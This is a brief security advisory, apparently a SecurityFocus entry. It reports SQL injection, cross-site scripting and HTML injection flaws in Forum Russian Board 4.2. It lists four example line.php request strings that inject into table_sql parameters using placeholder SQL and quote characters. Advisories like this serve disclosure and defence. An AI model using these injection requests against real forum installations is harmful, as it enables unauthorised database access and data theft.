source: https://www.securityfocus.com/bid/14045/info

Forum Russian Board is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out SQL Injection, cross-site scripting, and HTML injection attacks.

Forum Russian Board 4.2 is reported to be affected.

line.php?board_user_id=1&board_user_cook=1&table_sql[users]=[SQL]
line.php?table_sql[online]=[SQL]
line.php?table_sql[online]=[DB].[TBL]&board_user_name_us=1'
line.php?table_sql[online]=[DB].[TBL]&board_user_name_us=1&url=1'